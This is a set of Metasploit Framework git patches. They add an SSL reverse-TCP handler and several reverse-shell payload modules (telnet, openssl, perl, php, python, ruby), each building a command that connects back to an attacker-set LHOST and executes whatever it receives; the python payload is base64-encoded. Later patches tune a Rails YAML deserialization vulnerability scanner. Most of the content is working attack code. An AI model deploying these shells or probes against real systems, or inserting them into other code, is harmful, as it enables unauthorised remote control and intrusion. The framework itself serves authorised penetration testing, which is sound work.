0000000000..60f827c7ab --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -0,0 +1,122 @@ +require 'rex/socket' +require 'thread' + +module Msf +module Handler + +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpSsl + + include Msf::Handler::ReverseTcp + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_ssl'. + # + def self.handler_type + return "reverse_tcp_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP SSL handler and adds the certificate option. + # + def initialize(info = {}) + super + register_advanced_options( + [ + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) + ], Msf::Handler::ReverseTcpSsl) + + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' + end + + ex = false + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + comm = datastore['ReverseListenerComm'] + if comm.to_s == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + addrs.each { |ip| + begin + + comm.extend(Rex::Socket::SslTcp) + self.listener_sock = Rex::Socket::SslTcpServer.create( + 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSLCert' => datastore['SSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + end + } + raise ex if (ex) + end + +end + +end +end diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index d1be479c30..357c4e724b 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -479,4 +479,20 @@ class Msf::Module::Platform Rank = 100 Alias = "php" end + + # + # JavaScript + # + class JavaScript < Msf::Module::Platform + Rank = 100 + Alias = "js" + end + + # + # Python + # + class Python < Msf::Module::Platform + Rank = 100 + Alias = "python" + end end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index bf541b1d47..7996ad52ef 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, - 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ], + 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ], 'Arch' => ARCH_ALL, 'Targets' => [ [ 'Wildcard Target', { } ] ], 'DefaultTarget' => 0 diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb new file mode 100644 index 0000000000..b675712c9a --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => %q{ + Creates an interactive shell via mknod and telnet. + This method works on Debian and other systems compiled + without /dev/tcp support. This module uses the '-z' + option included on some systems to encrypt using SSL. + }, + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_bash', + 'RequiredCmd' => 'bash-tcp', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) + cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb b/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb new file mode 100644 index 0000000000..2343ed2d69 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb @@ -0,0 +1,68 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell through two openssl encrypted inbound connections', + 'Author' => [ + 'hdm', # Original module + 'RageLtMan', # SSL support + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'telnet', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = '' + cmd += "openssl s_client -connect #{lhost}:#{datastore['LPORT']}|" + cmd += "/bin/sh -i|openssl s_client -connect #{lhost}:#{datastore['LPORT']}" + cmd += " >/dev/null 2>&1 &\n" + return cmd + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb new file mode 100644 index 0000000000..96724f20e7 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via perl, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);" + cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");" + cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb new file mode 100644 index 0000000000..9892515e26 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -0,0 +1,61 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via php, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'php', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb new file mode 100644 index 0000000000..a7e232d24b --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\"" + cmd += ' >/dev/null 2>&1 &' + return cmd + + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb new file mode 100644 index 0000000000..6743def9e9 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -0,0 +1,49 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + vprint_good(command_string) + return super + command_string + end + + def command_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb new file mode 100644 index 0000000000..67af0c9072 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -0,0 +1,67 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option', + 'Author' => [ + 'hdm', # Original module + 'RageLtMan', # SSL support + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'telnet', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..ca70b10879 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -0,0 +1,77 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + return cmd + + end + +end diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..82f61c768d --- /dev/null +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -0,0 +1,52 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/payload/ruby' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Ruby + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Ruby Command Shell, Reverse TCP SSL', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + rbs = prepends(ruby_string) + vprint_good rbs + return rbs + end + + def ruby_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end" + return rbs + end +end From 810470de3bcb9d7719994e4b8de24d30e3c7721a Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:05:45 -0600 Subject: [PATCH 099/129] Make HTTP_METHOD Configurable --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 900b8f3313..c9907e5adb 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary )) register_options([ - OptString.new('URIPATH', [true, "The URI to test", "/"]) + OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) end @@ -37,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary odata = %Q^\n^ res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", - 'method' => 'POST', + 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => odata }, 25) From 8dff42777695ba10e9012960b1f3aa8045134bfe Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:07:07 -0600 Subject: [PATCH 100/129] Allow 4xx codes, display codes in verbose output --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index c9907e5adb..64d25eb520 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -65,11 +65,13 @@ class Metasploit3 < Msf::Auxiliary return end - if res1.code.to_s =~ /^[45]/ + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") + + if res1.code.to_s =~ /^[5]/ vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") end - if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200 + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") report_vuln({ :host => rhost, From 57c8e41846615393e0c521645e0ad51e61a49a8b Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:10:46 -0600 Subject: [PATCH 101/129] Re-order probes and checks. This causes module to exit if error conditions are found, before sending unecessary probes. --- .../scanner/http/rails_xml_yaml_scanner.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 64d25eb520..e55f6f571d 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -47,19 +47,26 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res1 = send_probe("string", "hello") - res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") - res3 = send_probe("yaml", "--- !ruby/object:\x00") unless res1 vprint_status("#{rhost}:#{rport} No reply to the initial XML request") return end + if res1.code.to_s =~ /^[5]/ + vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") + return + end + + res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") + unless res2 vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") return end + res3 = send_probe("yaml", "--- !ruby/object:\x00") + unless res3 vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") return @@ -67,9 +74,6 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") - if res1.code.to_s =~ /^[5]/ - vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") - end if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") @@ -82,7 +86,7 @@ class Metasploit3 < Msf::Auxiliary :refs => self.references }) else - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set") end end From 5e0c18af2fcd5fddbabdd42305bef0dda51e48a4 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 3 Feb 2013 16:14:42 -0600 Subject: [PATCH 102/129] adding self to credits --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index e55f6f571d..7df91ce063 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary This module attempts to identify Ruby on Rails instances vulnerable to an arbitrary object instantiation flaw in the XML request processor. }, - 'Author' => 'hdm', + 'Author' => [ + 'hdm', #author + 'jjarmoc' #improvements + ], 'License' => MSF_LICENSE, 'References' => [ From 5be4d414204637296d6463dff5965ea25bfc84e3 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:35:14 -0600 Subject: [PATCH 103/129] This is redundant/less-reliable than reverse_openssl --- .../cmd/unix/reverse_openssl_double.rb | 68 ------------------- 1 file changed, 68 deletions(-) delete mode 100644 modules/payloads/singles/cmd/unix/reverse_openssl_double.rb diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb b/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb deleted file mode 100644 index 2343ed2d69..0000000000 --- a/modules/payloads/singles/cmd/unix/reverse_openssl_double.rb +++ /dev/null @@ -1,68 +0,0 @@ -## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/handler/reverse_tcp_double_ssl' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' - -module Metasploit3 - - include Msf::Payload::Single - include Msf::Sessions::CommandShellOptions - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', - 'Version' => '$Revision$', - 'Description' => 'Creates an interactive shell through two openssl encrypted inbound connections', - 'Author' => [ - 'hdm', # Original module - 'RageLtMan', # SSL support - ], - 'License' => MSF_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'telnet', - 'Payload' => - { - 'Offsets' => { }, - 'Payload' => '' - } - )) - end - - # - # Constructs the payload - # - def generate - vprint_good(command_string) - return super + command_string - end - - # - # Returns the command string to use for execution - # - def command_string - lhost = datastore['LHOST'] - ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" - lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - cmd = '' - cmd += "openssl s_client -connect #{lhost}:#{datastore['LPORT']}|" - cmd += "/bin/sh -i|openssl s_client -connect #{lhost}:#{datastore['LPORT']}" - cmd += " >/dev/null 2>&1 &\n" - return cmd - end - -end From 47f3c09616149fc5059d4f4b30c7e56afa4b513e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:38:19 -0600 Subject: [PATCH 104/129] Fix typo that snuck in during merge --- .../payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index 67af0c9072..593e69d716 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -31,7 +31,7 @@ module Metasploit3 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::ReverseTcpDoubleSsl, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, 'Session' => Msf::Sessions::CommandShell, 